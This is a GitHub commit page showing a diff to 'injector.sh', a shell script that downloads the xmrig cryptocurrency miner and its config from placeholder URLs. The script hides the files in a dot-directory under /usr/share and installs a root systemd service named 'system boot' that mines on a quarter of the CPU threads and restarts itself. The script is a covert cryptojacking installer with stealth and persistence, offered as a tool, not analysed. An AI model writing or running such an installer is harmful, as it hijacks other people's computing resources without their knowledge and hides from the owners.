Skip to content

Commit c1e3f0d

Browse files
authored
Update injector.sh
1 parent a915d01 commit c1e3f0d

File tree

1 file changed

+3
-1
lines changed

1 file changed

+3
-1
lines changed

injector.sh

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,11 +17,13 @@ then
1717
fi
1818
}
1919
exits
20-
files=$(curl -s -O <<<< url of xmrig >>>> -O <<<< url for config.json >>>>) #add url of xmrig file and config.json.
20+
21+
files=$(curl -s -O <url of xmrig> -O <url for config.json> ) #add url of xmrig file and config.json.
2122
touch xmrig.service
2223
per=$(chmod 777 xmrig config.json && chmod 644 xmrig.service)
2324
dir=$(mkdir /usr/share/.logstxt)
2425
move=$(mv xmrig config.json /usr/share/.logstxt/ && mv xmrig.service /etc/systemd/system/)
26+
2527
threads=$(lscpu -p | grep -c "^[0-9]")
2628
tf=$(printf %.f "$((25 * $threads))e-2")
2729
append=$(echo -e "[Unit]\nDescription=system boot\nAfter=network.target\n\n[Service]\nType=simple\nRestart=on-failure\nRestartSec=1200\nUser=root\nExecStart=/usr/share/.logstxt/xmrig -c /usr/share/.logstxt/config.json -- threads=$tf\nRemainAfterExit=yes\nKillMode=process\n\n[Install]\nWantedBy=multi-user.target">/etc/systemd/system/xmrig.service)

0 commit comments

Comments
 (0)